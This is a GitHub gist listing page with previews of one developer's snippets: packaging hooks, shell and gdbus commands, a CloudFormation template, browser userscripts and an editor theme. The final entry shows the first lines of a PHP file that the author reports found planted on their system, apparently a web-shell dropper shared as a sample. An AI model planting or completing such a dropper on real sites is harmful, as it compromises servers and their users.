Skip to content

Instantly share code, notes, and snippets.

@lephuongbg
lephuongbg / hook-your_app.py
Last active May 20, 2021 00:43
Pyinstaller hook example to bundle WebKitGTK with a pywebview application
# Read more about pyinstaller hooks here:
# https://pyinstaller.readthedocs.io/en/stable/hooks.html
from PyInstaller.utils.hooks import get_gi_typelibs
binaries = []
datas = []
hiddenimports = []
_binaries, _datas, _hiddenimports = get_gi_typelibs("WebKit2", "4.0")
@lephuongbg
lephuongbg / reinstall-apt-package.sh
Created September 30, 2020 02:57
Reinstall apt package along with all of its dependencies
#!/bin/bash
PACKAGE_NAME=$1
LANGUAGE=en_US apt-cache depends --important --no-pre-depends --recurse --installed $PACKAGE_NAME \
| grep '[ |]Depends: [^<]' \
| cut -d: -f2 | tr -d ' ' | sort | uniq \
| xargs apt-get install --reinstall
@lephuongbg
lephuongbg / sns-with-delivery-status-logging.cloudformation.yml
Last active February 1, 2023 12:15
Cloudformation boilerplate for creating SNS Topic with delivery status logging
AWSTemplateFormatVersion: "2010-09-09"
Resources:
Topic:
Type: 'AWS::SNS::Topic'
Properties: {}
# The role required for SNS to write logs to Cloudwatch
TopicFeedbackRole:
Type: AWS::IAM::Role
Properties:
AssumeRolePolicyDocument:
@lephuongbg
lephuongbg / TeamsUnreadCounter.user.js
Last active June 18, 2020 09:03
Unread Counter for Microsoft Teams UserScript
// ==UserScript==
// @name Unread Counter for Microsoft Teams
// @namespace https://github.com/lephuongbg
// @version 0.1.1
// @description Show an unread counter on Teams' favicon
// @author Le Phuong
// @match https://teams.microsoft.com/*
// @grant none
// @require https://cdnjs.cloudflare.com/ajax/libs/favico.js/0.3.10/favico.min.js
// ==/UserScript==
@lephuongbg
lephuongbg / bitbucket-highlight.user.js
Last active July 17, 2024 09:25
Bitbucket Highlighter User Script
// ==UserScript==
// @name Bitbucket Highlighter
// @namespace https://github.com/lephuongbg
// @version 0.11
// @description Stop-gap solution for highlighting bitbucket pull request
// @author You
// @match https://bitbucket.org/*
// @grant GM_addStyle
// @grant GM_getResourceText
// @require https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.3.2/highlight.min.js
@lephuongbg
lephuongbg / call.sh
Last active January 5, 2024 10:18
Call Unity Launcher API with gdbus
# Set a badge count of 1 to Firefox launcher icon
gdbus emit --session -o / \
-s com.canonical.Unity.LauncherEntry.Update \
"application://firefox.desktop" "{'count':<1>,'count-visible':<true>}"
# Hide badge count
gdbus emit --session -o / \
-s com.canonical.Unity.LauncherEntry.Update \
"application://firefox.desktop" "{'count-visible':<false>}"
@lephuongbg
lephuongbg / scope-stats.js
Last active January 20, 2016 08:30
Chrome snippet to analyze AngularJS scopes
var scopeStats = function() {
console.log('Start analyzing...');
var scopes = [], $rootScope = $('html').scope(), traverse;
scopes.elements = {};
traverse = function(scope, callback) {
callback(scope);
var child_scope = scope.$$childHead;
while (child_scope) {
traverse(child_scope, callback);
child_scope = child_scope.$$nextSibling;
@lephuongbg
lephuongbg / template.js
Created July 8, 2015 03:00
Fix Sharp comment tab
jQuery('#tabpage_10').on('click', '.itemCommentsPagination a', function(e) {
e.preventDefault();
jQuery('#tabpage_10').fadeTo('fast', 0.7);
jQuery('#tabpage_10').load(this.href + ' #tabpage_10 .itemComments', function() {
jQuery('#tabpage_10').fadeTo('fast', 1);
});
});
@lephuongbg
lephuongbg / One (dark).kateschema
Created May 14, 2015 04:09
One (dark) - Kate Schema (ported from Atom.io editor theme)
[Default Item Styles - Schema One (dark)]
Alert=ffc7626b,ffc7626b,1,,,,fffae9eb,-,,---
Annotation=ff7f8c8d,ff7f8c8d,,,,,-,-,,---
Attribute=ffe5c17c,ffe5c17c,,,,,-,-,,---
Base-N Integer=ffe5c17c,ffe5c17c,,,,,-,-,,---
Built-in=ffabb2c0,ffabb2c0,,,,,-,-,,---
Character=ff97c378,ff97c378,,,,,-,-,,---
Comment=ff4f5562,ff4f5562,,,,,-,-,,---
Comment Variable=ff7f8c8d,ff7f8c8d,,,,,-,-,,---
Constant=ffabb2c0,ffabb2c0,1,,,,-,-,,---
@lephuongbg
lephuongbg / HsoGFnxIz.php
Created March 4, 2015 02:30
A malicous file appears on my system
<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);